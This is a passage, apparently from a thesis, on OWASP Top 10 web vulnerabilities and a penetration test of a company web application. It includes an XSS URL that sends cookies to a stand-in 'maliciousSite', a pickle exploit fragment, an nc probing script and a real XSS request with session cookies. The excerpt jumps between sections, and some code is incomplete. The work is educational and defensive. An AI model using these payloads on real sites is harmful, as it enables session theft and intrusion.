Then the server generates the response with malicious scripts and the user’s
browser runs the malicious scripts without any security restrictions.
XSS vulnerability is the result of lack of web application sanitizing user in-
puts. These inputs may come from different sources, such as HTML form
fields and URL parameters. Using these unsanitized inputs attackers can in-
ject malicious scripts in web pages of a web application. There are different
types of XSS attacks.
DOM based XSS DOM Based XSS is an XSS attack where the DOM envi-
ronment in the victim’s browser is modified by the original client side script,
4.9. Cross Site Scripting 57
so that the client side code runs in an unexpected manner. In this kind of
attack, the page doesn’t change but the client side code gets executed in a
different manner because of the modification in the DOM environment. It is
different from the other two XSS attacks as the attack is executed at the client
side.
Induced XSS Induced XSS are possible in web applications where web
server has HTTP Response Splitting vulnerability[32]. As a result of this vul-
nerability, an attacker can manipulate the HTTP header of the server’s re-
sponse. These types of XSS are not very common.
1 <html>
2 <title>Forum for travelling tips</title>
3 <body>
4 <h1>Welcome <script language="javascript"
src="travelerInfo.js"></script>!</h1>
5 <%
6 String action = request.getParameter("Action");
7 String place = request.getParamter("Place");
8 if(place != null && action.equals("Post")) {
9 String new_tip = request.getParamter("Tip");
10 if(new_tip.lenght < 100) {
11 stmt.executeUpdate("INSERT INTO forum VALUES (" +
12 place + ". "+new_tip + ")");
13 out.println("Your post has been added under place ’"+
14 HTMLencode(place)+"’");
15 }
16 else {
17 out.println("Your message: ’" + new_tip + "’ is too long!");
18 }
19 }
20 else if(place != null && action.equals("View")) {
21 Result.Set rs = stmt.executeQuery("SELECT * FROM forum
22 WHERE place= "+place);
23 out.println("Here are the tips about bisiting this place...");
24 while(rs.next()) {
25 String tip = rs.getString("tip");
26 out.println("’"+tip+"’");
27 }
28 }
29 ...
30 %>
31 </body></html>
58 Chapter 4. Most Critical Web Application Security Risks
32
33 <%
34 String HTMLencode(String value) {
35 //server side escaping method
36 value.replace("&","&");
37 value.replace("<","<");
38 value.replace(">",">");
39 return value;
40 }
41 >%
42
43 (a)
44
45 <SCRIPT>
46 var pos = document.URL.indexOf("User=")+5;
47 document.write(document.URL.substring(pos,document.URL.lenght));
48 </SCRIPT>
49
50 (b)
http://travelingForum/travelerTip.jsp?Action=View&Place=Greece&User=Jesper
(a)
http://travelingForum/travelerTip.jsp?Action=View&Place=Greece&TIp=HiHi
HiHiHiHiHiHiHiHiHiHiHiHiHi<meta%20http-equiv="refresh"%20content="0;">
&User=Jesper
(b)
http://travelingForum/travelerTip.jsp?Action=View&Place=Greece&Tip=<Script>
document.location=’http://maliciousSite/stealCookie.jsp?cookie=
4.9. Cross Site Scripting 59
’+document.cookie;</Script>&User=Hacker
(c)
http://travelingForum/travelerTip.jsp?Action=View&Place=Greece&Tip=HiHi&
User=Jesper<Script>document.getElementByTagName(’Tip’)[child].innerHtml=
’<b>Our service is bad</b>’</Script>
(d)
4.9.2 Countermeasures
XSS defense can be broadly classified into four types:
• Vulnerability detection;
Vulnerability detection
Other XSS defences focus on identifying vulnerabilities in server side scripts.
Static-analysis-based approaches can prove the absence of vulnerabilities,
but they tend to generate many false positives. Recent approaches combine
static analysis with dynamic analysis techniques to improve accuracy.
60 Chapter 4. Most Critical Web Application Security Risks
Static analysis These techniques identify tainted inputs accessed from ex-
ternal data sources, track the flow of tainted data, and check if any reached
sinks such as SQL statements and HTML output statements.Static-analysis-
based techniques quickly detect potential XSS vulnerabilities in source code
and are relatively easy for security personnel to implement and adopt. How-
ever, they cannot check the correctness of input sanitization functions and,
instead, generally assume that unhandled or unknown functions return un-
safe data. These approaches also miss DOM-based XSS vulnerabilities as
they do not target client-side scripts.
through streams (for example stdout), or sent over a network. The for-
mat in which an object is serialized into, can either be binary or struc-
tured text (for example XML, JSON YAML. . . ). JSON and XML are two
of the most commonly used serialization formats within web applica-
tions;
Deserialization on the other hand, is the opposite of serialization, that is,
transforming serialized data coming from a file, stream or network
socket into an object.
Web applications often use serialization and deserialization and most pro-
gramming languages even provide native features to serialize data. The
problems related to deserializeion comes when deserializing untrusted user
input. Most programming languages offer the ability to customize deserial-
ization processes, but it’s frequently possible for an attacker to abuse these
deserialization features when the application is deserializing untrusted data
which the attacker controls. Successful insecure deserialization attacks could
allow an attacker to carry out DOS attacks, authentication bypasses and re-
mote code execution attacks.
The following is an example of insecure deserialization in Python. Python’s
native module for binary serialization and deserialization is called pickle.
This example will serialize an exploit to run the whoami command, and dese-
rialize it with pickle.loads().
# Import dependencies
import os
import _pickle
if __name__ == ’__main__’:
# Serialize the exploit
shellcode = serialize_exploit()
It’s quite easy to imagine the above scenario in the context of a web applica-
tion. If you must use a native serialization format like Python’s pickle, be very
careful and use it only on trusted input. That is never deserialize data that
has travelled over a network or come from a data source or input stream that
is not controlled by your application. In order to significantly reduce the like-
lihood of introducing insecure deserialization vulnerabilities one must make
use of language-agnostic methods for deserialization such as JSON, XML or
YAML. However, there may still be cases where it is possible to introduce
vulnerabilities even when using such serialization formats.
Another such example in Python is when using PyYAML, one of the most
popular YAML parsing libraries for Python. The simplest way to load a YAML
file using the PyYAML library in Python is by calling yaml.load(). The follow-
ing is an simple unsafe example that loads a YAML file and parses it.
4.10.1 Countermeasures
The only safe architectural pattern is not to accept serialized objects from
untrusted sources or to use serialization mediums that only permit primitive
4.11. Using Components with Known Vulnerabilities 63
data types. If that is not possible, one of more of the following rules should
be followed:
• Implementing integrity checks such as digital signatures on any serial-
ized objects to prevent hostile object creation or data tampering;
• Enforcing strict type constraints during deserialization before object
creation as the code typically expects a definable set of classes. By-
passes to this technique have been demonstrated, so reliance solely on
this is not advisable;
• Isolating and running code that deserializes in low privilege environ-
ments when possible;
• Log deserialization exceptions and failures, such as where the incoming
type is not the expected type, or the deserialization throws exceptions;
• Restricting or monitoring incoming and outgoing network connectivity
from containers or servers that deserialize;
• Monitoring deserialization, alerting if a user deserializes constantly.
patches, but even when they do, if the user fails to apply them, the vulnera-
bility remains. Unpatched known vulnerabilities are a serious risk; as soon as
a vulnerability is fixed by the developer, its existence becomes public knowl-
edge and hackers start to develop and use exploits before users have time to
patch the applications. This is a growing problem: Gartner[35] has predicted
that by 2020, 99% of exploited security flaws will have been already known
for at least a year.
With GDPR now in effect, the business impact of using components with
known vulnerabilities has become potentially more severe. A company’s lia-
bility for a breach under the regulations greatly hinges on whether all viable
preventative steps have been taken. In the eyes of regulators, any breach
arising because of a documented vulnerability being present in an applica-
tion will make the company culpable. With the potential fines so severe, and
the GDPR applying to any company collecting personal data within the EU,
it’s more vital than ever to pay close attention to app security
4.11.1 Countermeasures
Awareness is a company’s best defence against risks from known vulner-
abilities. OWASP recommends that app developers and users continuously
monitor author support and vulnerability updates of any third-party app
components. If a component stopped being supported and updated by its
author, users should either search an alternative or employ virtual patching
until a more properly secured solution can be found.
Becoming aware of any vulnerability in components remains a major prob-
lem, and is fuelling growth in software composition analysis firms. As al-
ways, any application should be streamlined and should make use of as few
components and files as possible. The more components in use by an ap-
plication, the greater the likelihood of unpatched vulnerabilities. Any un-
necessary features should be removed, along with any dependencies or ref-
erences that may still carry a security flaw. Only components from trusted
sources should ever be used, with secure links and signed packages to en-
sure that no unauthorized party has modified the component. Setting out a
clearly-defined patch management process will help to keep app developers
informed and components secure. A company should define its procedures
according to the security needs of the data handled by the app.
The policy should account for keeping components up-to-date, but also set
out procedures for when a vulnerability is discovered, or the code can no
longer be patched. This may include virtual patching, or taking the app of-
fline until the vulnerability can be fixed.
Summing up, there should be a patch management process in place to:
• Continuously inventory the versions of both client side and server side
components and their dependencies. Continuously monitor sources
like CVE and NVD for vulnerabilities in the components. Use software
4.12. Insufficient Logging & Monitoring 65
• Only obtain components from official sources over secure links. Prefer
signed packages to reduce the chance of including a modified, mali-
cious component;
4.12.1 Countermeasures
A good way to test for the inadequate logging risk is to use a penetration
tester, who will probe and seek to breach a web applications. If it is not pos-
sible to subsequently detect what is done during the testing, then the logging
is inadequate. It’s necessary to differentiate between benign and malicious
anomalies within those logs. Logs should be kept safe, away from unneces-
sary user accounts that might edit, delete, or damage them and it would be
best to use encryption for central logging.
It is important then, that a web application logs can be easily consumed by
an infrastructure’s central anomaly detection system: if the intruder is not
detected at the web application, he could be detected during lateral move-
ment across the internal network. Good logging and monitoring requires a
comprehensive inventory of all the components being used. No matter how
good the logging policy or the monitoring capability, if a single web-app or
API is cracked, an attacker can find a way to blind-side the organization and
cause a breach.
In order to prevent vulnerabilities caused by an insufficient logging and mon-
itor activity, the following rules should be adopted:
• Ensure all login, access control features and server side input valida-
tion failures can be logged with sufficient user context to identify suspi-
cious or malicious accounts, ad geld for sufficient time to allow delayed
forensic analysis;
• Ensure that logs are generated in a format that can be easily consumed
by a centralized log management solution;
• Ensure high value transactions have ad audit trail with integrity con-
trols to prevent tampering or deletion, such as append-only database
tales or similar;
4.13 Summary
The following table presents a summary of the 2017 Top 10 Application Se-
curity Risks and the risk factors that has been assigned to each risk. These
factors were determined based on the available statistics and the experience
of the OWASP Top 10 Team[15]. To understand these risks for a particular
application, it has to be considered each application’s specific threat agents
and business impacts. Even severe software weaknesses may not present a
serious risk if there are no threat agents in a position to perform the necessary
attack or the business impact is negligible for the assets involved.
The OWASP Top 10 covers a lot of vulnerabilities, but there are many more
of them that have to be considered and evaluated. Some additional vulner-
abilities are listed in the following section because they will be named or
encounter in section 5 and chapter 6.
key features within the target web application. After that, the attacker needs
to find an application function hat can be used to perform some sensitive
action on behalf of an unsuspecting user and employs request parameters
which an attacker can fully determine in advance. The next step is to create a
malicious link that will execute some interesting functionality such as change
a password, etc. Finally, the attacker has to convince a user that is logged into
the target web application to click on the malicious link to execute the CSRF
attack.
In the case of reflected CSRF attacks, the attacker needs to include the mali-
cious link on the attacker’s own website and trick the user to click on the link.
On the other hand, for stored CSRF attacks, the attacker needs to create some
post, which embed the malicious link into the target website[37].
CSRF is often compared to XSS, but they are different:
• XSS attacks require that sites accept malicious code, while with CSRF
attacks malicious code is located on third-party sites;
Countermeasures
There are different types of protection techniques that can be used in order
to prevent CSRF attacks.
• Allow GET requests to only retrieve data, not modify any data on the
server;
Countermeasures
There are two main ways to prevent XFS and clickjacking attacks:
• Implement defensive code in the user interface to ensure that the cur-
rent frame is the most top-level window.
Same-origin When an attacker poison one origin’s resource once and persist
them over time using browser cache;
Countermeasures
The most robust defence against cache poisoning is to disable caching, but
this is an unrealistic advice for most services. Some more feasible solutions
could be:
• Auditing every page of the web application with tools to flush out un-
keyed inputs;
Countermeasures
The most strong security measure against this type of attack is a proper
validation of the input data.
• Using session token in the URL argument, where the session ID is sent
to the victim in a link and the victim accesses the site using the mali-
cious URL;
• Using session token in a hidden form field, where the victim must be
tricked to authenticate in the target web application using a login form
provided by the attacker;
Countermeasures
The simplest solution is to discard any existing session in order to force
the framework to issue a new session ID cookie with a new value. The ap-
plication has to assign a different session cookie immediately after a user
authenticates to the application and the cookie value has to be not included
in the URL.
4.15. Cyber security trends in 2019 for web applications 71
Vulnerabilities
AI-Powered Attacks Artificial Intelligence (AI) delivers many benefits to web
application development, allowing developers to create more meaningful
and robust products, but AI can be used for malicious activity too. Attack-
ers can use AI-powered hacking algorithms to find application vulnerabilities
and analyse complex user behaviours and scenarios. Analysis that would
normally take weeks and months to complete can be done almost instantly,
arming attackers with information they can use to exploit web applications.
The best defence for this type of attack is using AI to protect applications too
and build it into a security system for proactive monitoring and incident re-
porting. AI can help reduce false positives, prioritize threats, and automate
the remediation process.
Prevention
Bug bounty programs Bounty programs, in which attackers are paid to try
to break into applications and systems to expose vulnerabilities, are becom-
ing more popular. These “friendly” attackers help improve the security of an
application by finding weaknesses before malicious attackers exploit them.
This approach fills gaps that can be missed by automated security testing be-
cause sometimes a human touch is needed to find new ways to expose an
application to attack and attackers who find new or rare vulnerabilities are
being well-rewarded.
lish the victim’s data or perpetually block access to it unless a ransom is paid.
4.15. Cyber security trends in 2019 for web applications 73
Chapter 5
Testing methodology
• Threat modelling;
• Code review;
• Penetration testing.
Advantages Disadvantages
Requires no supporting technol- Can be time-consuming
ogy Supporting material not always
Can be applied to a variety of situ- available
ations Requires significant human
Flexible thought and skill to be effective
Promotes teamwork
Early in the SDLC1
Threat modelling
Threat modelling has become a popular technique to help system design-
ers think about the security threats that their systems and applications might
face. Therefore, threat modelling can be seen as risk assessment for appli-
cations. In fact, it enables the designer to develop mitigation strategies for
potential vulnerabilities and helps them focus their inevitably limited re-
sources and attention on the parts of the system that most require it. It is
recommended that all applications have a threat model developed and doc-
umented. Threat models should be created as early as possible in the SDLC1 ,
and should be revisited as the application evolves and development pro-
gresses.
To develop a threat model, the following approach should be used:
• Defining and classifying the assets – classify the assets into tangible and
intangible assets and rank them according to business importance.
Advantages Disadvantages
Practical attacker’s view of the sys- Relatively new technique
tem Good threat models don’t auto-
Flexible matically mean good software
Early in the SDLC1
Advantages Disadvantages
Completeness and effectiveness Requires highly skilled security
Accuracy developers
Penetration testing
Penetration testing is a very useful technique used to test the security of
a system and it is also called ethical hacking. Penetration testing is a testing
process focused over a running application remotely aimed to find security
vulnerabilities, without knowing the inner workings of the application itself.
Typically, the penetration tester has access to an application as if he is a nor-
mal user. The tester acts like an attacker and attempts to find and exploit
vulnerabilities. It’s not rare that a valid account on the system is given to the
tester.
Next section (5.1.1) will describe penetration testing in a more accurate way.
Advantages Disadvantages
Can be fast Too late in the SDLC
Requires a relatively low skilled set Front impact testing only
than source code review
Tests the code that is currently be-
ing exposed
All the process listed in Figure 5.2 ideally are necessary to develop an al-
most vulnerability free web application.
Although these aspects are important, starting from here, the remaining parts
of this chapter and the chapter 6 will be focused on penetration testing only,
because the tools and the infrastructure provided to me by the company of
which I have analysed a web application (chapter 6) were the most suitable
for these kinds of test.
The tests explained in the next sections (5.4) and the penetration test de-
scribed in chapter 6 adopt a black-box approach. Tests have been conducted
both emulating a virtual attacker outside the system and using valid creden-
tial of a trusted and authorized user.
Furthermore, to extend the quality of the analysis, a grey-box approach has
been adopted in some scenarios; to design more specific tests, the developers
of the web application in analysis provided me some information about its
structure, the frameworks used and a general overview of its functionality,
with focus on most critical sections. Under no circumstances I had access to
the source code of the web application.
application scanners typically record a good HTTP transaction and then at-
tempt to inject malicious payloads into subsequent transactions and watch
for indications of success in the resulting HTTP response.
Benefits Black-box scanners require "little skill", in the sense that it’s possi-
ble to catch evident vulnerabilities just letting the scan finish. They are also
able to find basic SQL injection and XSS problems. They are effective at find-
ing many configuration management issues too.
Drawbacks Generally, these tool perform poorly[42]: they are often able to
find only a little percent of the vulnerabilities located in a web application.
There are several reasons for this. First, most web applications consist of
complex forms that require human users to enter contextually relevant infor-
mation. So, the tools’ first hurdle is site coverage. Second, because the tool
operate on HTTP streams, they can analyse only built and compiled appli-
cations deployed in test or production environments. As a result, the tools
find problems far too late in the SDLC to be cost effective. Finally, if you find
an issue using such a tool, typically there is no hint for where to fix it in the
code.
False negative are all the vulnerabilities present in the application that the
tool is not able to catch.
5.3 Proxies
Another useful tool for a penetration tester is a web proxy. Web proxies
are typically used to intercept web traffic dynamically. They sit between the
tester’s web browser and the web server hosting the application. Proxies let
the tester trap HTTP request (after it leaves the browser) and response (before
it returns to the browser). Much like debugging breakpoints, when a request
or response is trapped ,the tools let testers view and modify different parts of
84 Chapter 5. Testing methodology
the request, ranging from cookies, HTTP header, GET and POST parameters
and HTML content. Proxies also let a tester effectively bypass any form of
client side validation.
Benefits Proxies are useful for testing site that operate both under SSL and
without data protection. They are extremely useful for testing the effective-
ness of server side versus client side security measures and for bypassing
client side validation. Finally, proxies let you record and replay transactions
to test the effectiveness of measures such as session expiry and replay pro-
tection.
In the tests performed in chapter 6 there has been a high use of proxies
in order to manipulate all the HTTP requests sent to the web application’s
server.
Passive mode where the tester tries to understand the application’s logic
and "plays" with the application;
Active mode where the tester begins to test using more intrusive techniques
and tries to exploit some possible vulnerabilities.
The following sections describe the OWASP proposed tests that have been
adapted in order to perform black-box tests and enriched with some specific
tests related to the web application that have been analysed in chapter 6.
A brief description of each type of test is given and for each of them, its
5.4. Web Application Security Testing 85
objectives are listed. The vulnerabilities found using them will be shown in
chapter 6.
Test Objectives Find the version and type of a running web server, identify
the web application and version and define type of used web framework in
order to determine known vulnerabilities and the appropriate exploits to use
during testing.
Test Objectives Map the target application, understand the principal work-
flows and architecture.
http://www.example.com/some-strange-URL
which are not referenced elsewhere. This may happen either by error, or in-
tentionally and in any case, to address these issues, it is necessary to perform
web application discovery.
Moreover, enumerating the application and its attack surface is a key aspect
before any thorough testing can be undertaken, as it allows the tester to iden-
tify areas of weakness. Tests have to be done in order to help identify and
map out areas within the application that should be investigated once enu-
meration and mapping have been completed.
Test file extension, review backup and unreferenced files for sensitive in-
formation
File extensions are used by web servers to determine which technologies
and plug-ins must be used to fulfil web requests. Using standard file exten-
sions provides the tester useful information about the back-end technologies
88 Chapter 5. Testing methodology
used in a web application. In addition to this, it’s not uncommon to find for-
gotten or unreferenced files on the web server that allow the tester to obtain
important information about the system. All of them may grant the tester
access to inner working or administrative interfaces.
Test Objectives Find which HTTP methods are allowed, check if some of
them can be used for malicious purpose and control the presence of the HSTS
header.
Test Objectives Check the presence of admin interfaces and how they can
be reached.
Test for role definition, user registration and account provisioning process
It most of the systems, at least two types of user are used: administrator ad
normal user. It’s important to check that each user associated to a role has the
set of privileges that he is authorized to have. In addition, it is necessary to
control the process during which users are created and which type of account
each user is able to create.
Test Objectives Validate the system roles so that each role has the appro-
priate access to the system, validate the registration process and verify which
type of accounts can be created by a user.
Test Objectives Test if it’s possible to obtain valid credential without hav-
ing them.
Test Objectives Find if HTTPS and strong cypher are used by the applica-
tion.
90 Chapter 5. Testing methodology
Test Objectives Check if default credentials are used and if there is a valid
lockout mechanism.
Test Objectives Try to obtain access to web application pages without the
proper authentication.
Test Objectives Check that the application correctly instructs the browser
to not remember sensitive data.
Testing for weak password policy and weak password change functionali-
ties
These tests check password complexity, if during the registration process,
some complexity constraints are imposed and weak passwords are refused.
Furthermore, they check if the process of changing password is conducted in
a safe and valid way.
3 Accountlockout mechanisms are used to mitigate brute force password guessing at-
tacks. Accounts are typically locked after three to five unsuccessful login attempts and can
only be unlocked after a predetermined period of time, via a self-service unlock mechanism,
or intervention by an administrator.
5.4. Web Application Security Testing 91
Test Objectives Test valid passwords complexity and the process of chang-
ing or resetting them.
Test Objectives Test if it’s possible to go trough some part of the server di-
rectories without authorization.
Test Objectives Discover if it’s possible for a user to gain more privileges
than those he is allowed to have.
Test Objectives Find logic errors and vulnerabilities in the session manage-
ment schema.
Test Objectives Check if cookies are secure with security headers enabled.
Test Objectives Check when cookies are renewed and if session cookies are
exposed.
Test Objectives Test for safe session timeout limit and valid logout func-
tionality.
Test Objectives Find all the upload sections of the application and try to
upload arbitrary or malicious file.
Test Objectives Try to perform some HTTP splitting and smuggling attack.
Error Codes
These tests aimed to verify which type of information is possible to obtain
by a penetration tester from error codes and error messages.
Stack Traces
If the application, as a result of an error or in other case, responds with
stack traces it could reveal information useful to attackers. In a stack trace
there can be some hint about the application internal architecture and a list
of framework used.
5.4.9 Cryptography
These tests aim in finding the cryptographic security level used by the ap-
plication and in its transmission.
96 Chapter 5. Testing methodology
Test Objectives Test validation and integrity check over input data.
Test Objectives Test if it’s possible to upload arbitrary files in the upload
sections.
Test Objectives Test if it’s possible to perform a client side resource manip-
ulation.
Test Objectives Test for the presence of flaw in Websockets and Local stor-
age mechanisms.
101
Chapter 6
Case of study
Nmap[50] Nmap is a free and open source utility for network discovery and
security auditing.
In addition to them, some custom script, developed by me, have been used
during the tests.
Finally, some existing vulnerabilities databases, such as CVE details[51], CWE[52]
and Exploit DB[53], have been consulted in order to have a better overview
over some vulnerabilities and to find some exploits.
www.test-acts.com
The web application is composed by two parts: the first, reachable at the
URL
www.test-acts.com/actsViewer
offers only a search feature among different documents, using different type
of filters, and it doesn’t require authentication.
www.test-acts.com/acts
is the most important part of the application and it requires authentication in
order to access it. Two types of users can use the application:
104 Chapter 6. Case of study
• Normal users, who have the ability to perform only some actions inside
the web application interfaces;
Both type of users have been used during the tests in order to find vulnera-
bilities related to session management, privilege escalation and other types
of security flaws.
This second part of the web application is made up of several tables con-
taining a lot of information with which it’s possible to interact in multiple
ways in order to consult, modify or delete them. Through the main screen
is possible to access all the functionality offered by the web application; nev-
ertheless, it’s beyond the aim of this thesis to describe all the features of the
web application.
Tests structure
For each type of test proposed in section 5.4 some experiments have been
made and the vulnerabilities discovered through them have been listed in
6.2. Penetration test 105
the following sections. Each section is named with the type of test to which
it belongs and it is marked using these symbols:
' $
& %
Furthermore, for each vulnerability discovered, the following symbols have
been adopted:
' $
www.test-acts.com
address, it’is possible to see which Tomcat version is used by the server.
• HTTP Strict Transport Security header missing Through the use of Burp
proxy it is possible to see that the HSTS header is missing in each server re-
sponse. As said before, it is necessary in order to force the browser to com-
municate with HTTPS and its lack can lead to man-in-the-middle attacks.
HSTS header should be implemented and added in each server response.
108 Chapter 6. Case of study
#!/bin/bash
do
printf "$webservmethod " ;
printf "$webservmethod / HTTP/1.1\nHost: $1\n\n" | nc -q 1 $1 80 |
grep "HTTP/1.1"
done
CONNECT This method could allow a client to use the web server as a
proxy;
PUT & DELETE These methods allow a client to upload new file on the web
server and to delete files already present on it;
• Guessable account name It’s possible to find valid credential for the sys-
tem just trying to guess them. An example valid credentials is
Username: "NameOfTheCompany"
Password: "empty password"
Probably these credentials have been used for the testing phase and the de-
velopers forgot to disable them. This kind of forgetfulness have to be avoided
in order to prevent a not authorized user to use the system.
6.2.4 Authentication
• Transmissions not in HTTPS All the network request and response dur-
ing the login process are send through HTTP and thus, it’s possible to inter-
cept them.
HTTPS must be always used to avoid this.
• Weak password complexity Users can use any type of password and
there are no restrictions that prevent them from using simple password.
Some complexity constraints, such minimum length, symbols and numbers,
should be enforced during the choice of passwords.
Cache-Control: no-store
Expires: -1
Fragma: no-cache
These headers are generally enough, but it is suggested to add the following
headers in order to improve security:
6.2.5 Authorization
• Session cookies set and transmit over HTTP Session cookies are set and
transmit without using any type of encryption. This means that they can be
caught and manipulated.
HTTPS should be enabled and then, each cookie should have the secure flag
header.
• Cross Site Request Forgery Even if there is no anti-CSRF token, the ap-
plication adopts a mechanism that usually prevent CSRF, but there are some
cases where a request coming from an external domain is processed by the
web application.
The following is an example: let’s consider a custom form made with the
code present in 6.2.
<p>
<label for=’username’>User:</label>
<input type=’text’ class=’text_’ name=’username’
id=’username’ autofocus />
6.2. Penetration test 111
</p>
<p>
<label for=’password’>Password:</label>
<input type=’password’ class=’text_’ name=’password’
id=’password’/>
</p>
<p>
<input id="loginButton" type=’submit’ class="submit"
value=’Login’>
</p>
</form>
The credential insert there, after pressing the Login button, are sent to the ap-
plication server. If valid credentials are insert, the server redirect the browser
to an error page;
• Cookie without HTTP only flag In some cases the web application sets
cookies without the HTTP only flag. This header is necessary in order to mit-
igate some attacks, such as XSS. With it, a cookie can’t be accessed through
client side scripts and should be enabled.
www.test-acts.com/UploadDownload/sign.jsp
The following payload
t5qd4"><script>alert(1)</script>umq4v
has been URL encoded and submitted in a GET request as dataSource param-
eter:
GET /UploadDownload/sign.jsp?
directory=temp&
dataSource=jdbc%2ffaket5qd4%22%3e%3cscript%3ealert(1)%3c%2fscript%3eumq4v
HTTP/1.1
Host: test-acts.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0)
Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://test-acts.com/acts/
DNT: 1
Connection: close
Cookie: JSESSIONID=D79A3AC74616EEB6ADB3C6FC9404224E;
JSESSIONIDSSO=EBE6E4C0D581E50E0A032CD2E3F905B8
Upgrade-Insecure-Requests: 1
As a result of this GET request, the server response displayed and executes
the JavaScript code:
114 Chapter 6. Case of study
Here, just an alert(1) has been used, but arbitrary JavaScript code could be
executed.
In order to avoid XSS attacks, some countermeasures, listed in section 4.9,
should be applied.
• Host header poisoning The web application doesn’t control the validity
of the host header. Thus, it’s possible to redirect request from the application
to another domain. Some countermeasures proposed in section 4.14.3 can be
helpful to avoid this type of vulnerability.
6.2.9 Cryptography
This is not a big problem, because the code cannot be executed. Never-
theless, this let to a potential attacker a security flaw. For instance, the listed
element in the table can be exported in xls format. There is then the possibil-
ity to write code harmless against the application, but that can be dangerous
if exported and opened with a xls viewer.
• Clickjacking The web application can be loaded inside an iframe and can
be used inside it. Thus, it’s possible to put over this frame another opaque
iframe and hijack user’s click to different locations.
Amount of vulnerability
Scope of the test High risk Moderate risk Low risk OWASP
Information Gathering 2 Not Consistent
Configuration and Deployment
2 Not Consistent
Management
Identity Management 1 Not Consistent
Authentication 2 1 2 Not Consistent
Authorization Consistent
Session Management 1 2 1 Not Consistent
Input Validation 1 1 Not Consistent
Error Handling 2 Not Consistent
Cryptography 1 Not Consistent
Business Logic 1 Consistent
Client Side 1 Not Consistent
As can be seen in Table 6.1, the tested web application in definitely not
consistent with OWASP guidelines.
There are a lot of flaws caused by the absence of the HTTPS protocol, the
lack of which exposes the web application to multiple vulnerabilities. Any-
way, the implementation of HTTPS is not enough to solve all the security
problems: for example, the serious input validation problem, which causes
XSS, must be solved using specific techniques. Furthermore, there are a lot
of problems related to information leakage, which lead to problems such as
software version exposure. These types of problems must not be underesti-
mated because, as has been shown in Figure 6.5, often, knowing a software
version is enough to identify known vulnerabilities and exploit them to cause
serious damage. Finally, as has been described in section 4.11, the use of out-
dated components, which are affected by know vulnerabilities, is another
aspect that has to be avoided in order to develop a secure web application.
It has been noticed that not all the security flaws found belong to a OWASP
Top 10 (4.2) category. For instance, the application doesn’t have any SQL in-
jection vulnerabilities, which therefore makes the database correctly config-
ured. However, this points out that it’s not uncommon for developers, who
wants to improve the security of a software, to be focused mainly on the most
spread and know vulnerabilities, neglecting the analysis of not so known but
still harmful vulnerabilities.
Summing up, the web application needs a great effort from developers in
order to increase and enhanced its security.
119
Chapter 7
Conclusion
One of the purposes of this thesis was to collect and present a review of
the state of the art for what concerning the security of web applications.
There is a huge amount of vulnerabilities and security flaws about applica-
tions that communicate over the internet. Developers and tester need to have
a point of reference in order to respectively create and certify that a web ap-
plication is secure. Currently OWASP is the best standard to refer to: with
its guidelines, suggestions and tools represent one of the best way to keep a
web application safe.
The vulnerability listed in OWASP Top 10 are the most common and danger-
ous; thus, a detail description of them and how they can be exploited nowa-
days have been given. Unfortunately, OWASP Top 10 is just the top of the
iceberg: new vulnerabilities are discovered every day and even the smallest
security flaw, if properly exploited, can create a lot of damage to a company.
OWASP proposed penetration testing technique is a very valid methodology
and covers a lot of vulnerabilities types. It should be adopted by developers
and security testers, with some customization depending on the application
that is being tested.
In the case of study, it has been noticed that vulnerabilities related to authen-
tication and session management were the most widespread. Weak cryp-
tography and a poor input validation mechanism were also some important
and dangerous security flaws. Furthermore, it has been noticed that even the
slightest carelessness, such as a software version exposure in an error mes-
sage, can lead to serious consequences; indeed "a chain is only as strong as
its weakest link".
Unlikely, for many companies, software security is still an aspect of the soft-
ware life cycle that usually is neglected: cybersecurity is seen as a cost rather
that an investment.
121
Appendix A
Sommario
Nel corso degli ultimi anni le applicazioni web sono diventate il mezzo più
comunemente utilizzato per la distribuzione di servizi utilizzando la rete in-
ternet. Dal momento che le applicazioni web sono ormai profondamente
integrate all’interno delle attività aziendali e gestiscono funzionalità sem-
pre più sofisticate, la loro progettazione e realizzazione sono divenute molto
complesse. La loro crescente diffusione, sommata al fatto che esse tendono a
gestire dati sempre più riservati, rende le applicazioni web uno degli obbiet-
tivi più appetibili per potenziali hacker.
Osservando alcune statistiche della rete fornite da servizi come Internet Live
Stats[2], appare evidente come sia enorme il numero di sito attaccati quo-
tidianamente: ci sono circa 100.000 siti violati ogni giorno, numero che si
è più che quadruplicato confrontandoci con i dati del 2015[4]. Una situ-
azione preoccupante che richiede una grande attenzione sulle tematiche rela-
tive alla sicurezza informatica, in particolare su come progettare e assicurasi
che un’applicazione web sia sicura.
A tale scopo, si ritiene necessario che gli sviluppatori e i tester facciano rifer-
imento a delle linee guida che illustrino a in tutte le direzioni quali sono i
passi da seguire per lo sviluppo di software sicuro e quali sono i controlli
da effettuare per certificare che un’applicazione sia sicura. Nella mia tesi ho
assunto come ente di riferimento, per le linee guida e metodologie proposte,
l’Open Web Application Security Project (OWASP).
Obbiettivo della mia tesi è stato quello di raccogliere e organizzare tutti gli
elementi relativi al concetto di vulnerabilità delle applicazioni web, fornendo
una rassegna il più possibile esaustiva di tutte quelle che possono essere le
falle di sicurezza più rilevanti dei sistemi attualmente utilizzati, con riguardo
in particolare a come le stesse possano venire sfruttate a fini malevoli, scov-
ate e mitigate.
È stato inoltre fornito un esempio concreto, attraverso un caso di studio,
del processo con il quale è possibile trovare vulnerabilità in un sistema già
sviluppato. È stato effettuato un completo penetration test mirato a trovare
il più alto numero di vulnerabilità di una applicazione web aziendale. Suc-
cessivamente, i risultati ottenuti sono stati raccolti ed analizzati.
Il capitolo 3 presenta le linee guida OWASP che sono state adottate come
punto di rifermento per l’intero lavoro.
Nel capitolo 4 è stata fornita una descrizione dettagliata delle vulnerabilità
più comuni delle applicazioni web, come esse possono essere classificate,
sfruttate e quali contromisure è possibile adottare per prevenirle.
Il capitolo 5 presenta il protocollo di testing utilizzato per analizzare un’applicazione
web aziendale.
Nel capitolo 6 è presente la descrizione del caso di studio, come è stato con-
dotto un penetration test su un’applicazione web aziendale.
Il capitolo 7 raccoglie le conclusioni tratte dal lavoro svolto.
Una delle conclusioni che è stata possibile trarre dopo aver analizzato lo
stato dell’arte della sicurezza delle applicazioni web e dopo aver condotto il
penetration test, è che la sicurezza informatica è spesso un aspetto trascurato
